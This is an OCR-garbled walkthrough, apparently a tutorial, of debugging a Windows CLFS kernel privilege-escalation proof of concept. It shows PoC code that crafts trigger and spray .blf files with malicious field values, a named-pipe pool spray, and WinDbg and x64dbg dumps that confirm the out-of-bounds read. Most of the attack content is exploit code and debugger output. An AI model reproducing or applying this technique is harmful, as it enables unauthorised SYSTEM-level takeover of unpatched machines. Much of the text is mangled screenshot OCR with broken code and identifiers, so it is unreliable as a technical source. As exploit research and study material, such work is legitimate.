44 544 K
46 08B0 K
4,682K
23,532K
5296 K
23560K
8532K

Launch

0 Process Explorer - Sysinternals: www.sysinternals.com [DESKTOP-RTSCPAG\ricnar] (Administrator)
. file
RCC/mt: @&X| oW

Process

"

PID| Deseription

832 Usermade Font Driver Host

548

640 Windows Logon Application

840 Usermade Font Driver Host

412 Desktop Window Manager
4136 Microsoft Edge Update
1056 Windows Explorer

5728 Windows Security notificatio...

3456 VMware Tools Core Service
5872 Microsoft OneDrive

i
| (1§ oS

| <Filter by name>

Company Name
Micrasoft Corporation

Micresoft Corporation
Microsoft Corporation
Microsoft Corporation
Micrasoft Corporation
Micrasoft Corporation
Microsoft Corporation
VMware, Inc.

Micsesoft Corporation

6004 Windows Command Processor Micresoft Corporation

4812 Console Window Host

Micrasoft Corparation

5736 Windows Command Processor Micresoft Corporation

3616 Console Window Host
8012

Microsoft Corporation

User Name

Font Driver Host\UMFD-0
NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM
Font Driver Host\UMFD-1
Window ManagerDWM-1
NT AUTHORITY\SYSTEM
DESKTOP-RTSCPASiricnar
DESKTOP-RTSCPASiricnar
DESKTOP-RTSCPAS\ricnar
DESKTOP-RTSCPAG\ricnar
DESKTOP-RTSCPASiricnar
DESKTOP-RTSCPASBricnar
DESKTOP-RTSCPASiricnar
DESKTOP-RTSCPASiricnar
NT AUTHORITY\SYSTEM

2 e seetizu 3

 CPU Usage: 17.48% Commit Charge: 10.89% Processes: 123 Physical Usage
it

13.26%

first delete the created files. some will be locked and cannot be deleted, but the PoC will still work.
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ar (2)

ar (5)

ts

> This PC » Local Disk (C) » Users » Public

Name

j p.o2
[ 0_3491blf
[ 1_3491.blf
[ 2_3491.blf
[ 3.3491.blf
[ 4_3491.blf
[ 5_3491.blf
L] 6_3491.blf
[ 7_3491 blf
[ ] 8_3491.blf

[ 9_3491.blf

[ 92.bif

Ty orean oy o o

Date modified

6/15/2023 4:.07 AM

~—__ CONTAINER

6/15/2023 4:.07 AM

6/15/2023 4:.07 AM

6/15/2023 4:.07 AM

6/15/2023 4:07 AM

6/15/2023 4:07 AM

SPRAYS/BLbz3 407 av

o _TRIGGER'B

6/15/2023 4:.07 AM
6/15/2023 4:.07 AM
6/15/2023 4:.07 AM

6/15/2023 4:07 AM

F4:O7 AM




Debugging:

1- Checking the memory spray

Before | start with the effect of changes to trigger blf and spray blf files to perform the exploitation, |
must verify that m_rgBlocks of spray blf files are located in holes that occur in memory distribution,
after performing the pipe spray and the subsequent release of a fixed number of pipes.

When this procedure ends, a pipe should be located under the 0x90 bytes of m_rgBlocks, so when
m_rgBlocks is used, an OUT OF BOUNDS will occur and it will read from that pipe that is below.

The PoC has an ideal point to place a breakpoint:

while (1)

{

one version

AT AN T

A B ke

(PULONGLONG)&pcbContainer2,
stored_container_arrays[contador_3], 0);

At this point, the opening of spray blf files is complete and the AddLogContainer function is still not
called.

To debug in user mode, | will use x64dbg and for kernel mode, IDA with the Windbg plugin.
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® 00007FF77B5DD8FD . 48:898424 FEOO000C mov quord ptr ss:i[rsp+0xzF8],rax
@ 00807FF77B5DD9 85 - 48:8DOD 2C180388 |lea rcx,quord ptr ds:[Bx7FF77B6OF138] B0BA7FF77B6OF 138 :"TRIGGER START\n"
@ 80887FF77B5DD9BC . E8 DF@8soess call <printf>
@ 00007FF77B5DD911 - 48:634424 58 novsxd rax,dword ptr ss:[rsp+0x58]
@ 00607FF77B5DD916 . 48:8DOD 93890608 |lea rcx,quord ptr ds:[<wchar_t = _ ptré4 = sl00007FF77B6462BO:&L"C:\\Users\\Publich\\.p_0_32077"
@ 00BO7FF77B5DD91D - 48:635424 58 novsxd rdx,dword ptr ss:[rsp+Ox58]
@ 60687FF77B5DD922 . 48:899424 EQOOBOOE mov quword ptr ss:[rsp+OxE6],rdx
@ 00007FF77B5DD92A - 45:33C9 xor r9d,r9d
@®| 00OP7FF77B5DD92D . 4C:8BOuCA mov r8,quord ptr ds:[rcxsrax=8]
@ 008B7FF77B5DD931 - 48:8D0424 10618080F lea rdx,quord ptr ss:[rsp+Ox116]
® 00607FF77B5DD939 - 48:8B8424 EQOODOOE mov
@ 00007FF77B5DD941 . 48:8BSCCH 8001 nov rcx,quord p FSp+rax=8+0x
+8 . FF15 096A6300 call quord ptr ds:[<&AddLogContainer>]
L . 898424 BOBOAO d ks
® 00607FF77B5DD956 - 4B:C70425 400000 mov quword ptr ds:[Bx5000040],0:5000000
@ 006B7FF77B5DD962 - 48:C70425 00000005| mov quword ptr ds:[Bx5000000],0<56001000
@ 008B7FF77B5DD96E . L48:8BOS 138BO4BA |mov rax,quord ptr ds:[<unsigned inté4 FnCl{ BOBA7FF77B626488:" 2H\x11"

At this point the memory should already be prepared, and | can see the distribution.
I'll pause IDA to find an interesting point to put a breakpoint.

I'll set up a breakpoint at CClfsBaseFilePersisted::AddContainer, which is called from AddLogContainer
and at the beginning, it has the RCX register pointing to CClfsBaseFilePersisted structure and at offset
0x30 there’s a pointer to m_rgBlocks.

LLLITSHasSer1lerersistea:
CClfsBaseFilePersisted
CClfsBaseFilePersisted
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted

ipgaLontainer
AddContainer
AddContainer
:AddContainer
:AddContainer
AddContainer

;3 _ inte4 _ fastcall CClfsBaseFilePersisted::AddContainer(CClfsBaseF:
public: long CClfsBaseFilePersisted::AddContainer(struct _UNICODE_ST

a5= qword ptr -88h

CClfsBaseFilePersisted: :AddContainer salida= qword ptr -8eh
CClfsBaseFilePersisted: :AddCentainer var_78= qword ptr -78h
CClfsBaseFilePersisted: :AddContainer var_68= byte ptr -63h
CClfsBaseFilePersisted: :AddContainer var_67= byte ptr -67h
CClfsBaseFilePersisted: :AddContainer var_g4= dword ptr -64h
CClfsBaseFilePersisted: :AddContainer StartingIndex= dword ptr -68h

CClfsBaseFilePersisted
CClfsBaseFilePersisted
CClfsBaseFilePersisted
CClfsBaseFilePersisted
CClfsBaseFilePersisted
CClfsBaseFilePersisted
CClfsBaseFilePersisted

AddContainer
AddContainer
AddContainer
AddContainer
AddContainer
AddContainer
AddContainer

var_58= qword ptr -58h
var_50= gqword ptr -5@h
var_48= dword ptr -48h
var_38= dword ptr -38h
var_3@= qword ptr -30h
var_28= dword ptr -28h
String2= qword ptr 16h

CClfsBaseFilePersisted: :AddContainer arg_18= dword ptr 2@h
CClfsBaseFilePersisted: :AddContainer arg_20= byte ptr 28h
CClfsBaseFilePersisted: :AddContainer arg_28= byte ptr 38h
CClfsBaseFilePersisted: :AddContainer arg_30= qword ptr 338h
CClfsBaseFilePersisted: :AddCentainer

CClfsBaseFilePersisted: :AddCentainer 3 FUNCTION CHUNK
CClfsBaseFilePersisted: :AddContainer 3 FUNCTION CHUNK

AddContainer
:AddContainer

ontaine
CClfsBaseFilePersisted: :AddContainer+3 mov
CC1lfsBaseFilePersisted: :AddContainer+7 mov
CClfsBaseFilePersisted: :AddContainer+B mov
CClfsBaseFilePersisted: :AddContainer+F

CClfsBaseFilePersisted
CClfsBaseFilePersisted:

C specific_handler @

3 unwind /Il

[rax+2eh], rod
[rax+16h], rdx
[rax+8], rex
push rbx

When the breakpoint is reached, | check on call stack that AddLogContainer is being called from my PoC.
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ffff8886'019aef58 fffff800'1186d6e8 CLFS! CClfsBaseFilePersisted::AddContainer

t::D ispatch+0x351

ffff8886'019af110 ff800'1185ffc7 CLFS! CIfSDispatchloRéq uest+0x87

ffff8886'019af190 fffff800'0e094c72 nt! lofCallDriver+0x55
ffff8886'019af1d0 fffff800'0e094a43 nt! lopSynchronousServiceTail+0x1d2
ffff8886'019af280 fffff800'0e093d86 nt! lopXxxControlFile+0xca3
ffff8886'019af3cO fffff800'0de31185 nt! NtDeviceloControlFile+0x56
ffff8886'019af430 00007ffd'34c83c64 nt! KiSystemServiceCopyEnd+0x25
000000e0'1e8ff8e8 00007ffd'3232494b ntdll! NtDeviceloControlFile+0x14

000000e0'1e8ff8f0 00007ffd'33af6241 KERNELBASE! DeviceloControl+0x6b
000000e0'1e8ff960 00007ffd'2e783c1d KERNEL32! DeviceloControllmplementation+0x81
000000e0'1e8ff9b0 00007ffd'2e783 7fc clfsw32! AddLogContainerSet+0x40d
000000e0'1e8ffa80 00007f7'7h5dd94f clfsw32! AddLogContainer+0x3c
000000e0'1e8ffac0 00007ff7'7b60f138 clfs_eop!to_trigger+0x85f

000000e0'1e8ffac8 00000000'00000000 clfs_eop!__xt_z+0xcal

the RCX register points to:

ffffb509'61de1000 fffff800'11844820 CLFS! CCIlfsBaseFilePersisted::'vftable’
ffffb509'61de1008 00000000'00000001

ffffb509'61de1010 00000000'00000000

ffffb509'61de1018 00000000'00000000

ffffb509'61de1020 ffffb509'5f626090

ffffb509'61de1028 00000000'00000006

ffffb509'61de1030 ffffb509'659¢0510 //m_rgBlocks

ffffb509'61de1000 fffff800'11844820 CLFS! CCIfsBaseFilePersisted::'vftable’
ffffb509'61de1008 00000000'00000001

ffffb509'61de1010 00000000'00000000

ffffb509'61de1018 00000000'00000000

ffffb509'61de1020 ffffb509'5f626090

ffffb509'61de1028 00000000'00000006

ffffb509'61de1030 ffffb509'659c0510 //m_rgBlocks

The first field is the pointer to a vtable (CLFS! CClfsBaseFilePersisted::'vftable') and at offset 0x30 is the
pointer to m_rgBlocks.

https://t.me/learningnets



m_rgBlocks

WINDBG>dps ffffb509'659c0510

ffffb509'659c0510 00000000'00000000 pblmage
ffffb509'659c0518 00000000'00000400 cbOffset /cbimage  BLOCK 0
ffffb509'659c0520 00000000'00000000 eBlockType

ffffb509'659c0528 00000000'00000000 pblmage
ffffb509'659c0530 00000400'00000400 cbhOffset fcbimage BLOCK 1
ffffb509'659c0538 00000000'00000001 eBlockType

ffffb509'659c0540 ffffe60e'217d0000 pbimage
ffffb509'659c0548 00000800'00007a00 cbOffset /cbimage BLOCK 2
ffffb509'659c0550 00000000'00000002 eBlockType

ffffb509'659c0558 ffffe60e'217d0000 pblmage
ffffb509'659c0560 00008200'00007a00 cbOffset /chimage BLOCK 3
ffffb509'659c¢0568 00000000'00000003 eBlockType

ffffb509'659c0570 00000000'00000000 pblmage
ffffb509'659c0578 0000fc00'00000200 cbOffset /cbimage BLOCK 4
ffffb509'659c0580 00000000'00000004 eBlockType

ffffb509'659c0588 00000000'00000000 pbimage
ffffb509'659c0590 0000fe00'00000200 cbOffset /cbimage BLOCK 5
ffffb509'659c0598 00000000'00000005 eBlockType

The blocks 0, 1, 4 and 5 have not saved the pblmage yet, while blocks 2 (BASE BLOCK) and 3 (SHADOW
BLOCK) have.

Each block in m_rgBlocks table has its cbOffset which is the offset where the block starts in file, cbimage
is the block size, and eBlockType is the block type.

If the spray is correct, below the m_rgBlocks there should be a pipe and within, the pointers to BASE
BLOCK + 0x30 of trigger blf.
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WINDBG>dps ffffb509'659c0510 130
ffffb509'659c0510 00000000'00000000
ffffb509'659c0518 00000000'00000400
ffffb509'659c0520 00000000'00000000
ffffb509'659c0528 00000000'00000000
ffffb509'659c0530 00000400'00000400
ffffb509'659c0538 00000000'00000001
ffffb509'659c0540 ffffe60e'217d0000
ffffb509'659c0548 00000800'00007200

ffffb509'659c0550 00000000'00000002

ffffb509'659c0558 ffffe60e'217d0000
ffffb509'659c0560 00008200'00007a00
ffffb509'659c0568 00000000'00000003
ffffb509'659c0570 00000000'00000000
ffffb509'659c0578 0000fc00'00000200
ffffb509'659c0580 00000000'00000004
ffffb509'659c0588 00000000'00000000
ffffb509'659c0590 0000fe00'00000200
ffffb509'659c0598 00000000'00000005

ffffb509'659c05a0 7246704e'0a0a0000
ffffb509'659c05a8 a92f98da'b1384235
ffffb509'659c05b0 ffffe60e'2313f098
ffffb509'659c05b8 ffffe60e'2313f098

ffffb509'659c05c0 00000000'00000000

ffffb509'659c05¢8 ffffe60e'227e2660
ffffb509'659c05d0 00000060'00000000
ffffb509'659c05d8 00000000'00000060

ffffb509'659c05e0 ffffe60e'1f8bf030 pointer to BASE BLOCK +0x30 of trigger blf
ffffb509'659c05e8 ffffe60e'1f8bf030 pointer to BASE BLOCK +0x30 of trigger blf

m_rgBlocks

PIPE

ffffb509'659c05f0 ffffe60e'1f8bf030 pointer to BASE BLOCK +0x30 trigger bif

ffffb509'659c05f8 ffffe60e'1f8bf030 pointer to BASE BLOCK +0x30 of trigger bif
ffffb509'659c0600 ffffe60e'1f8bf030 pointer to BASE BLOCK +0x30 of trigger blf

ffffb509'659c0608 ffffe60e'1f8bf030 pointer to BASE BLOCK +0x30 trigger blf
ffffb509'659c0610 ffffe60e'1f8bf030 pointer to BASE BLOCK +0x30 trigger blf

ffffb509'659c0618 ffffe60e'1f8bf030 pointer to BASE BLOCK +0x30 of trigger blf

ffffb509'659c0620 ffffe60e'1f8bf030 pointer to BASE BLOCK +0x30 trigger blf
ffffb509'659¢0628 ffffe60e'1f8bf030 pointer to BASE BLOCK +0x30 trigger blf
ffffb509'659c0630 ffffe60e'1f8bf030 pointer to BASE BLOCK +0x30 trigger blf
ffffb509'659c0638 ffffe60e'1f8bf030 pointer to BASE BLOCK +0x30 trigger blf

ffffb509'659c0640 7246704e'0a0a0000

The "lpool" command on windbg displays the memory distribution:
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ffffb509659c0000 size:
ffffb509659c00a0 size:
ffffb509659c0140 size:
ffffb509659c01e0 size:
ffffb509659c0280 size:
ffffb509659c0320 size:
ffffb509659¢03c¢0 size:
ffffb509659c0460 size:

ffffb509659c0640 size:
ffffb509659c06e0 size:
ffffb509659c0780 size:
ffffb509659c0820 size:
ffffb509659c08c0 size:
ffffb509659c0960 size:
ffffb509659c0a00 size:
ffffb509659c0aa0 size:
ffffb509659c0b40 size:
ffffb509659c0be0 size:
ffffb509659c0c80 size:
ffffb509659c0d20 size:
ffffb509659c0dcO size:
ffffb509659c0e60 size:

WINDBG>!pool ffffb509'659c0510
Pool page ffffb509659¢c0510 region is Nonpaged pool

a0 previous size: O (Allocated) NpFr Process
a0 previous size: 0 (Allocated) NpFr Process
a0 previous size: O (Allocated) NpFr Process
a0 previous size: 0 (Allocated) Clfs

a0 previous size: O (Allocated) NpFr Process
a0 previous size: O (Allocated) NpFr Process
a0 previous size: 0 (Allocated) Clfs

a0 previous size: O (Allocated) NpFr Process

*ffffb509659c0500 size: a0 previous size: 0 (Allocated) *Clfs
ffffb509659c05a0 size: a0 previous size: O (Allocated) NpFr Process: ffffb50961f020c0

a0 previous size: O (Allocated) NpFr Process
a0 previous size: 0 (Allocated) NpFr Process
a0 previous size: 0 (Allocated) NpFr Process
a0 previous size: 0 (Allocated) Clfs

a0 previous size: 0 (Allocated) NpFr Process
a0 previous size: O (Allocated) NpFr Process
a0 previous size: 0 (Allocated) Clfs

a0 previous size: 0 (Allocated) NpFr Process

: ffffb50961f020c0
: ffffb50961f020c0
: ffffb50961f020c0

: ffffb50961f020c0
: ffffb50961f020c0

: ffffb50961f020c0

: ffffb50961f020c0

: ffffb50961f020c0
: ffffb50961f020c0

: ffffb50961f020c0

: ffffb50961f020c0

: ffffb50961f020c0

a0 previous size: 0 (Allocated) NpFr Process: ffffb50961f020c0

a0 previous size: O (Allocated) NpFr Process
a0 previous size: 0 (Allocated) NpFr Process
a0 previous size: 0 (Allocated) Clfs
a0 previous size: O (Allocated) Clfs
a0 previous size: 0 (Allocated) Clfs

: ffffb50961f020c0

: ffffb50961f020c0

Each m_rgBlocks has a “Clfs” tag and its size is 0xa0 because it is the 0x90 user size plus 0x10 header

and below there’s a pipe with the “NpFr” tag that has the same 0x90 user size + 0x10 header.

Since distribution isn't an exact science, some “Clfs” were placed continuously, which is undesirable, but

the one I'm working with, is correctly placed followed by a pipe.

2-Looking at the RecordOffset[12] of trigger blf

One of the first changes that affects is the one made in trigger blf file at offset 0x858, where the value

0x369 is stored.
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er1te(Record0FFset12, s;zeof(char), sizeof(RecordOffsetl2), pfile); // offset

0x858 RecordOffset[12d] to 0x369

The BASE BLOCK starts at the offset 0x800 in the file.

BASE BLOCK

00000000 LOG_BLOCK_HEADER _CLFS_LOG_BLOCK_HEADER ? //offset 0x800

00000070 BASE_RECORD_HEADER _CLFS_BASE_RECORD_HEADER ? //offset 0x870

Inside the _CLFS_LOG_BLOCK_HEADER at offset 0x800+0x58 (0x58 from the beginning of BASE BLOCK
header).

struct_CLFS_LOG_BLOCK_HEADER

UCHAR MajorVersion;

ULONG P};iddmg;
ULONG Checksum;

ULONG Flags:;

At offset 0x28 the array RecordOffsets (DWORD) begins.

Moving 0x30 bytes forward, at offset 0x58 (0x828+0x30=0x858 from the beginning), is field 12 of
RecordOffsets.
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Python>0x30/4
12 DWORDS

| run the PoC to CreateLogFile as shown in the image below:

CLES_kernelAddrArray = getBigPoolInfo(l);
wprint£(l. Name %s", stored.name.Createl.og);

hlogfile = CreatelogFile(stored name Createlog, 0xC0010000, FILE_SHARE_READ, 0, 3, 0);
if (hlogfile == INVALID_HANDLE_VALUE) {

printf("[+] Can't open hlog file\n");
exit(e);
}

CLES. kernelAddrArray = getBigPoollnfo();

CLES_kernelAddrArray = getBigPoolInfe();
wprintf(L"Name %s", stored name Createlog);
hlogfile = CreatelLogFile(stored_name_Createlog, 0xC0010600, FILE_SHARE_READ, 0, 3, 0);
if (hlogfile == INVALID_HANDLE_VALUE) {
printf("[+] Can't open hlog file\n");
exit(0);
}

CLES kernelAddrArray = getBigPoollnfe();

¥ %2 ; & & Jx # AL H Y
Ireakpoints 8 Memory Map |} Call Stack 5t seH ¢ Script & Symbols <> Source /' References W Threads L Handles 7 Trace
call <unsigned __inté4 _ cdecl getBigPoolInfo(void)>
586808 |mov quord ptr ds:[<unsigned __ inté64 CLFS_kernelAddrA —
OABA0E mov dword ptr ss:i[rsp+0x28],0x0 L}
100000€ mov dword ptr ss:i[rsp+0x20],0x3 R
xor rod,rod | B
bee mov r8d,0x1 [}
mov edx,0xCE6100686 B
58600 Fuard—pEi—toifluahar—ta—ptr6l _ ptrék stg R
8 call quord ptr ds:[<&CreateLogFile>] R
48400 5 —ptréks hlogfile> R
40400 F|cmp quord ptr ds:[<void = _ ptré4 _ ptré4 hlogfile>
jne B8x7FF7FBCOBCAD W
28300 lea rcx,quord ptr ds:[8x7FF7FBC3EF18] 000O7FF7FBC3EF18:"[+] Can't open hlog file\n" R
call <printf> =
X0r ecx,ecx L]
call <exit> g
call <unsigned _ int64 _ cdecl getBigPoolInfo(void)
58600 ||mov quord ptr ds:[<unsigned __inté4 CLFS_kernelfddr De
3 [|[I[l21 mov quord ptr ss:i[rsp+0xz48],0x200 El
] lea rax,quword ptr ss:[rsp+8x508] 2
3
30 " Batii\x7F"]=<clfsw32.CreateLogFile> y
c

Before | enter to CreateLogFile I'm going to put a breakpoint in a place where value 0x369 hasn't been
used yet.
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In a case that CreateLogFile opens an existing file, the m_rgBlocks structure is allocated here:
CClfsBaseFilePersisted::Readlmage+6E

So, I'll set a breakpoint on IDA right here:

) =]
CClfsBaseFilePersisted: :ReadImage+59 lea ri2d, [riS+6]
CClfsBaseFilePersisted: :ReadImage+5D mov [rbx+28h], rl2w
CClfsBaseFilePersisted: :ReadImage+62  mov edi, 206h
CClfsBaseFilePersisted: :ReadImage+67 mov edx, edi ; PoolType
(ClfsBaseFilePersisted: :ReadImage+69  mov ecx, 96h ; NumberOfBytes
CClfsBaseFilePersisted: :ReadImage+73 mov [rbx+struct_CClfsBaseFilePersisted.pCClfsBaseFile.m_rgBlock ..
CClfsBaseFilePersisted::ReadImage+77 movzx ecx, word ptr [rbx+28h] i Groupnodes
CClfsBaseFilePersisted: :ReadImage+78  lea eax, [ri5+42] B
CClfsBaseFilePersisted: :ReadImage+7F mul rex 4] Rename
CClfsBaseFilePersisted: :ReadImage+82 lea rex, [r15-1]
CClfsBaseFilePersisted::ReadImage+86 cmovo rax, rex & Nop
CClfsBaseFilePersisted: :ReadImage+8A  mov edx, edi ; PoolType £ Assemble..
CClfsBasefilePersisted: :ReadImage+8C mov rcx, rax ; NumberOfBytes
C(ClfsBaseFilePersisted: :ReadImage+8F  call operator new Patching
CClfsBasefilePersisted: :ReadImage+94 mov [rbx+38h], rax
CClfsBaseFilePersisted: :ReadImage+98 mov rex, [rbx+3eh] ; void * List cross references from...
CClfsBasefilePersisted: :ReadImage+9C  test rex, rex
CClfsBaseFilePersisted: :ReadImage+9F  jz loc_FFFFF8@55223B650 1By Structure offset

r#

f] Symbolic constant

s = Be]  frbxs 30n]
CClfsBaseFilePersisted::ReadImage+AS  test rax, rax “ﬁﬂ [rbx+48]
CClfsBaseFilePersisted: :ReadImage+A8  jz loc_FFFFFB@55223B65D) >

"] [rbx+600]

When breakpoint is triggered:

WINDBG>r

rax=ffffd0037f5bea00 rbx=ffffd0037f31a000 rcx=0000000000000001

rdx=0000000000000000 rsi=ffffb880a9b2eac8 rdi=0000000000000200

rip=fffff8055223b4c3 rsp=ffffb880a9b2ea20 rbp=ffffb880a9b2f130

R8=00000000000000fff R9=0000000073666c43 r10=00000000000001b9

R11=00000000ffff R12=0000000000000006 R13=ffffb880a9b2ecl8

r14=0000000000000001 r15=0000000000000000

ioPL=0 NV UP ei ng nz na po nc

¢s=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=-00040286

CLFS! CClfsBaseFilePersisted::Readlmage+0x73:

fffff805'5223b4c3 48894330 mov qword ptr [rbx+30h],rax
ds:002hb:ffffd003'7f31a030=0000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000

In m_rgBlocks there is still some garbage because it’s still uninitialized, but as soon as pblmage of block
2 is allocated, the address will be saved in offset 0x30 from the start, since the first field inside each
CLFS_METADATA_BLOCK is pblmage.
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struct _ declspec(align(8)) m_rgBlc
{

CLFS_METADATA_BLOCK block®;

CLFS_METADATA BLOCK block2;

_ _ 0 IoCk3;

CLF5_METADATA BLOCK block#4;

: CLFS_METADATA BLOCK blocks;
P93 } H

0x30 pbimage

0x38 cbOffset /cbimage BLOCK 2
0x3c eBlockType

Now | set up a hardware breakpoint on write: ba w1 ffffd003'7f5bea30
After initializing to zero, it stops when it saves pbimage.

CClfsBaseFilePersisted::ReadMetadataBlock+SC mov rax, [rdit+struct CClfsBaseFilePersisted.pCClfsBaseFile.m_rgBlocks]
CClfsBaseFilePersisted::ReadMetadataBlock+A0 mov [rax+r14*8+m_rgBlocks.block0.anonymous_0.pblmage], rsi // pbimage

The analysis says that it corresponds to block0, because it does not consider the constant r14*8 which is
0x30 afterwards, as a result is really writing the pblmage of block 2.
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ffffd003'7f5bea00 ffff978a'16d935c0 //pblmage of block 0
ffffd003'7f5bea08 00000000'00000400
ffffd003'7f5beal0 00000000'00000000
ffffd003'7f5beal8 ffff978a'16d935c0 //pblmage of block 1
ffffd003'7f5bea20 00000400'00000400
ffffd003'7f5bea28 00000000'00000001
ffffd003'7f5bea30 ffff978a'16ecf000 //pblimage of block 2

Note that CCIfsBaseFilePersisted::ReadMetadataBlock is used to allocate any of the blocks, using the
size passed as argument.

Now set a read/write breakpoint at 0x58 from the base block, to see when it uses the value 0x369.

ba r1 FFFF978A'16ECF000+0x58

When the breakpoint is hit, reads the value 0x369 located at the RecordOffset[12], adds it to a weird
pointer on r14 and increments the contents of RAX+r14.

A few lines above in the code, ESI has the value 0x13 and multiplies by 0x18, which is the size of each
block in m_rgBlocks.

WINDBG>? 0x18*0x13

Evaluate expression: 456 = 00000000'000001c8

If I add the value of r8= 0x1c8 that is greater than 0x90, to the initial address of m_rgBlocks, it’ll be
reading OUT OF BOUNDS.
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cClfsBaseFilePersisted: :iriteMetadataBlocks52
::WriteMetadataBlock+S2 _ loc FFFFF80552220FC2:
iriteMetadataslock+52 [ na:
iteMetadatablock+52
iriteMetadataBlock+55
sisted: :WriteMetadataBlock+SD
CC1fsBaseFilePersisted: :hritetetadataBlock+60

TUJC1fsBaserilepersisted_writevetadataBlock___1__finse)

[CC1fsBaseFilePersisted: :WriteMetadataBlock+6C ri4, [r8+rcx]
CC1fsBaserilePersisted: :riteMetadataBlock+78 88h+pointer], ria

[CC1fsBaseFilePersisted: :hriteMetadataBlock+78 short loc_FFFFF8055222DFFA

=
cC1fsBaser
(CC1fsBaseF

(870,819) (1010, €73) 0002BFCZ FF¥ PAGE:1loc_|

Output Database notepad [ |38 General registers
ia"16ecf68 19 04 00 00 16 06 00 00-30 62 00 60 00 60 00 00 e
12 16ecf078 80 69 67 f ff ff ff ££-f9 04 00 00 60 00 00 00 RAxSSessotentunics
ia"16ecf085 60 00 00 00 00 00 00 60-00 00 60 00 00 60 60 00 REX S500050008090099. v
ia"16ecfe98 00 00 00 0 G0 00 0O 00-60 00 0O 0O 00 60 00 00 RCX FFFFDO0383559EF6 b
ia*16ecf@a8 2c e €7 14 46 a0 d9 01-00 00 00 00 00 60 00 00
ia”16ecfebs 00 00 60 G0 B0 00 00 00-00 00 60 00 €0 00 00 00 Ensxmxs
ia*16ecfecs 00 @2 00 00 @0 00 00 00-00 00 00 00 00 00 00 00
db ffff978a’ 16ecf000+8x58
12 16ecf@58 69 03 00 00 00 G0 00 00-00 00 00 60 60 00 60 00 [RRe Iy Er O b
ia"16ecf068 80 79 00 00 00 00 00 00-01 00 00 00 00 00 00 60 |RsP FFFFBBSBAIB2ECER b
i2°16ecf@78 61 a3 90 9 31 B¢ ee 11-98 54 2¢ 6d c1 a9 42 59 | <
N Ezliisamo=miscace

WINDBG>dps rex +0x1c8
ffffd003'8355a0b8 ffff978a'16ecf030 OUT OF BOUNDS READ
ffffd003'8355a0c0 7246704e'0a0a0000
ffffd003'8355a0c8 deSbc021'5630cffl
ffffd003'8355a0d0 ffff978a'188a3458
ffffd003'8355a0d8 ffff978a'188a3458
ffffd003'8355a0e0 00000000'00000000
ffffd003'8355a0e8 ffff978a'17ed8a60
ffffd003'8355a0f0 00000060'00000000
ffffd003'8355a0f8 00000000'00000060
ffffd003'8355a100 ffff578a'16ecf030
ffffd003'8355a108 ffff978a'16ecf030
ffffd003'8355a110 ffff978a"16ecf030
ffffd003'8355a118 ffff978a'16ecf030
ffffd003'8355a120 ffff978a'16ecf030

Below m_rgBlocks, is the pipe with the pointer to BASE BLOCK + 0x30, it reads this pointer that was
strategically placed inside the pipe.
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WINDBG>k
Child-SP RetAddr
ffffb880'a9b2ece0 ff805'5224f8d3 CLFS! CClfsBaseFilePersisted::WriteMetadataBlock+0x96
ffffb880'a9b2ed70 fffff805'5223f1a9 CLFS! CClfsBaseFilePersisted::ExtendMetadataBlock+0x41b
ffffb880'a9b2ee30 fffff805'5223dae4 CLFS! CClfsBaseFilePersisted::AddSymbol+0x10d
ffffb880'a9b2eeb0 fffff805'5223d6e8 CLFS! CClfsBaseFilePersisted::AddContainer+0xdc
ffffb880'a9b2ef60 ff805'52252f1d CLFS! CClfsLogFcbPhysical::AllocContainer+0x148
ffffb880'a9b2f000 fffff805'52230565 CLFS! CClfsRequest::AllocContainer+0x27d
ffffb880'a9b2f0cO fffff805'52230077 CLFS! ( D ispatch+0x351

ffffb880'a9b2f110 fffff805'5222ffc7 CLFS! ClfsDispatchloRequest+0x87

000000f1'95aff8c0 00007ffc'9cal16241 KERNELBASE! DeviceloControl+0x6b
000000f1'95aff930 00007ffc'74613c1d KERNEL32! DeviceloControlimplementation+0x81
000000f1'95aff980 00007ffc'746137fc clfsw32! AddLogContainerSet+0x40d
000000f1'95affa50 00007f7'f0c0d94f clfsw32! AddLogContainer+0x3c
000000f1'95affa90 00007ff7'f0c3f138 clfs_eop!to_trigger+0x85f

000000f1'95affa98 00000000'00000000 clfs_eop! xt z+0xcal

The current position in the code was called from the while(1) statement of main module.

Inside spray blf file I've strategically placed the value 0x13 at offset 0x48a (iFlushBlock).

unsigned char iFlushBlock2[] = { 0x13, 0x00 }; // offset OxU8a iFlushBlock

fwrite(iFlushBlock2, sizeof(char), sizeof(iFlushBlock2), pfile); //changing the iFlushBlock of

the shadow block to 13

3-Looking at the iFlushBlock value in spray blf file.

At offset 0x8a of spray blf file, iFlushBlock of BLOCK 0 is located, whose value is 4, while offset 0x48a
belongs to iFlushBlock of BLOCK 1, and its value is 0x13
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W Please edit the type declaration

Offset|Size|struct _CLFS_CONTROL_RECORD
{
eeaa|aaas CLFS_METADATA_RECORD_HEADER hdrControlRecord;
2008|0008 ULONGLONG ullMagicValue;

2016|2201 UCHAR Version;

2014|0004 CLFS_EXTEND_STATE eExtendState;

USHORT ifFlushBlock;

A . >

2020|0004 ULONG cExtendStartSectors;
2024|0004 ULONG cExtendSectors;

0028(0028| CLFS_TRUNCATE_CONTEXT cxTruncate;
2e43|aaa2 USHORT cBlocks;

204C|@8084| ULONG cReserved;

@856|a898 CLFS_METADATA BLOCK rgBlocks[G];

@oED| };

Now | have to find out why it reads iFlushBlock = 0x13 from BLOCK 1 instead of iFlushBlock = 4 from
BLOCK 0.

4-Why does it read from BLOCK 1 SHADOW instead of BLOCK O
CONTROL?

If | look back to find out where the 0x13 came from, | see on call stack that WriteMetadataBlock is called
from CClfsBaseFilePersisted::ExtendMetadataBlock+416, there the second iFlushBlock argument is
EDX=0x13, which comes from r9w.

if  (iFlushBlock == v36->iExtendBlock
| | cClfsBaseFilePersisted::IsShadowBlock(v15, v36->iFlushBlock, v36->iExtendBlock))
&& *(*(this + 6) + 24 * iFlushBlock + 8) >> 9 < v36->cNewBlockSectors )
{
CClfsBaseFilePersisted::ExtendMetadataBlockDescriptor(this, v30, v36->cExtendsectors >> 1);
LOWORD(iFlushBlock) = *p_iFlushBlock;
}

CClfsBaseFilePersisted::WriteMetadataBlock(this, iFlushBlock, 0);
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CClfsBaseFilePersisted::ExtendMetadataBlock+40C loc_FFFFF8055224F8C4: ; unsigned int
CClfsBaseFilePersisted::ExtendMetadataBlock+40C movzx edx, row
